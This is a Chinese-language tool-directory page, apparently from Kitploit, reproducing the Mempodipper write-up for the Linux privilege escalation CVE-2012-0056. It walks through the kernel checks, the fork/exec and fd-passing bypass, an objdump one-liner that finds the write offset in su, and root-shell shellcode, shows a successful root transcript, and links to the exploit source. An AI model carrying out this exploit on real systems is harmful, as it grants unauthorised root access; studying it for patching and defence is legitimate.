Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2012-0056 — linux 提权 | Kitploit
工具/GitHubGitHub/pythonone/cve-2012-0056
权限提升漏洞分析漏洞利用Shellcode学习与教育二进制利用
GitHubpythonone/cve-2012-0056

CVE-2012-0056

linux 提权

查看仓库
161010年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

通过 SUID /proc/pid/mem 写入实现 Linux 本地权限提升

Mempodipper

介绍 Mempodipper,CVE-2012-0056 的一个利用工具。/proc/pid/mem 是一个接口,可以直接读写进程内存,通过使用与进程虚拟内存空间相同的地址进行定位。在 2.6.39 版本中,针对未经授权访问 /proc/pid/mem 的保护措施被认为已经足够,因此之前阻止写入任意进程内存的 #ifdef 被移除了。任何拥有正确权限的人都可以写入进程内存。当然,事实证明权限检查做得并不完善。这意味着所有 Linux 内核 >=2.6.39 都存在漏洞,直到几天前 修复提交 为止。让我们逐步分析旧内核代码,了解问题所在。

当打开 /proc/pid/mem 时,会调用以下内核代码:

root@kitploit:~
static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

打开操作没有任何限制;任何人都可以打开任意进程的 /proc/pid/mem fd(受普通 VFS 限制)。它只是记录了打开时原始进程的 self_exec_id,并保存下来,以便在后续的读写操作中进行检查。

然而,写入(和读取)操作有权限检查限制。让我们看看写入函数:

root@kitploit:~
static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{

/* 为博客文章省略了不重要的代码 */	

	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
	
/* 为博客文章省略了不重要的代码 */

	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;

/* 为博客文章省略了不重要的代码 */	

	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;

/* 为博客文章省略了不重要的代码
 * (这里的函数继续将缓冲区写入内存)
 */	

因此,有两个相关的检查用于防止未经授权的写入:check_mem_permission 和 self_exec_id。我们先处理第一个,再处理第二个。

check_mem_permission 的代码只是调用了 __check_mem_permission,所以以下是它的代码:

root@kitploit:~
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;

	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);

	/*
	 * 任务总是可以查看自身,以防它选择使用系统调用而不是加载指令。
	 */
	if (task == current)
		return mm;

	/*
	 * 如果 current 正在主动 ptrace,并且当前也有权通过 ptrace 重新附加,则允许。
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}

	/*
	 * 不允许其他人。
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

内存写入被授权有两种方式。要么 task == current,意味着被写入的进程就是写入的进程;要么 current(写入进程)拥有深奥的 ptrace 级别权限来操作 task(被写入的进程)。也许你认为可以欺骗 ptrace 代码?这很诱人,但我不确定。不如我们换个思路,想办法让一个进程向自身写入任意内存,这样 task == current 就成立了。

现在很自然地,我们想要写入 suid 进程 的内存,因为这样我们就可以获得 root 权限。看看这个:

root@kitploit:~
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su 会将你想要的任何文本输出到 stderr,并加上前缀 "Unknown id:"。因此,我们可以打开一个指向 /proc/self/mem 的 fd,lseek 到内存中正确的位置用于写入(稍后详述),使用 dup2 将 stderr 和 mem fd 关联起来,然后 exec 到 su $shellcode,向进程内存写入一个 shell 生成器,这样我们就得到了 root 权限。真的吗?没那么简单。

这时另一个限制出现了。在通过 task == current 检查之后,它还会检查当前的 self_exec_id 是否与打开 fd 时的 self_exec_id 匹配。self_exec_id 到底是什么?它在内核中 只有几个地方被引用。最重要的一个恰好在 exec 内部:

root@kitploit:~
void setup_new_exec(struct linux_binprm * bprm)
{
/* 为博客文章目的删除了大量代码 */

	/* 执行新程序会改变我们的域。我们不再属于线程组 */

	current->self_exec_id++;
			
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

每次进程 exec 时,self_exec_id 都会递增。因此,它的作用就是防止你在非 suid 进程中打开 fd,然后 dup2,再 exec 到一个 suid 进程……这正是我们刚才试图做的。防止我们攻击的方法相当巧妙,是吧?

以下是绕过它的方法。我们 fork 一个子进程,在该子进程内部,我们 exec 到一个新进程。初始的子 fork 的 self_exec_id 等于其父进程。当我们 exec 到一个新进程时,self_exec_id 加 1。与此同时,父进程本身正忙于 exec 到我们的 shellcode 写入 su 进程,因此它的 self_exec_id 也会递增到相同的值。所以我们做的是——让这个子进程 fork 并 exec 到一个新进程,然后在这个新进程内部,我们打开一个指向 /proc/parent-pid/mem 的 fd,使用父进程的 pid,而不是我们自己的进程(就像之前的情况一样)。我们可以这样打开 fd,因为仅仅是打开操作没有任何权限检查。当它被打开时,它的 self_exec_id 已经递增到了父进程在 exec 到 su 时将会具有的正确值。最后,我们将子进程中打开的 fd 传回给父进程(使用一些 非常黑暗的 Unix 域 socket 魔法),执行我们的 dup2 操作,然后 exec 到带有 shellcode 的 su。

还有一个遗留问题。我们往哪里写?在写入之前,我们必须 lseek 到正确的内存位置,而 ASLR 会随机化进程的地址空间,使得无法知道往哪里写。我们是否应该花时间研究更巧妙的方法来读取进程内存,然后进行搜索?不用。看看这个:

root@kitploit:~
$ readelf -h /bin/su | grep Type
   Type:                              EXEC (Executable file) 

这意味着 su 没有可重定位的 .text 段(否则它会输出 "DYN" 而不是 "EXEC")。事实证明,绝大多数发行版上的 su并没有使用 PIE 编译,从而禁用了二进制文件 .text 段的 ASLR!因此我们明智地选择了 su。内存中的偏移量总是相同的。为了找到正确的写入位置,让我们检查一下打印 "Unknown id: blabla" 错误消息的汇编代码。

它在此处获取错误字符串:

root@kitploit:~
  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

然后将其写入 stderr:

root@kitploit:~
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

关闭日志:

root@kitploit:~
  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

然后退出程序:

root@kitploit:~
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

因此我们想使用 0x402178,即它调用的退出函数。在利用工具中,我们可以通过一个简单的 bash 一行命令自动查找 exit@plt 符号:

root@kitploit:~
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

所以很自然地,我们想写入 0x402178 减去字符串 "Unknown id: " 的字数,这样我们的 shellcode 就会被放置在正确的位置。

shellcode 应该简单而标准。它将 uid 和 gid 设置为 0,然后 exec 到一个 shell。如果我们想更巧妙一点,可以在将内存 fd dup2 到 stderr 之前,选择另一个 fd 来复制 stderr,然后在 shellcode 中,将该另一个 fd dup2回 stderr。

最终,这个利用工具工作完美,可靠性极高:

root@kitploit:~
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# 

你可以观看 视频 了解实际运行情况。

感谢 Dan Rosenberg 不断的建议和支持。我目前不发布任何源代码,因为 Linus 刚刚不久才打了补丁。等过了负责任的一段时间,或者有其他人先发布,我就会公布。如果你是一名想学习的学生,或有其他正当理由,我们可以谈谈。

更新:显然,基于这篇博客文章,讽刺的是,其他一些人制作了利用工具并发布了它们。所以,这是我的版本。我手工编写了 32 位 和 64 位 的 shellcode。尽情享受!

更新 2:事实证明,Fedora 非常恰当地使用 PIE 编译了 su,从而阻止了这种攻击。然而不幸的是,它们并没有用 PIE 编译所有 SUID 二进制文件,因此这种攻击仍然可以利用,例如使用 gpasswd。相关的 代码 位于 git 仓库的 "fedora" 分支中,视频演示 也可观看。

更新 3:Gentoo 很聪明,移除了 SUID 二进制文件的读取权限,使得无法使用 objdump 找到 exit@plt 偏移量。我找到了另一种方法,使用 ptrace。Ptrace 允许调试内存中的任何程序。对于 SUID 程序,ptracing 会降低其权限,但这没关系,因为我们只是想要找到内部内存位置。通过在正确时机解析二进制文件的 opcode,我们可以破译错误消息打印后下一个调用的目标地址。我创建了一个 独立工具 来返回偏移量,并将其集成到了 主要的 mempodipper 源代码 中。

{一如既往,这里的工作纯粹是学术性的,不打算用于研究和教育之外的用途。}

下载工具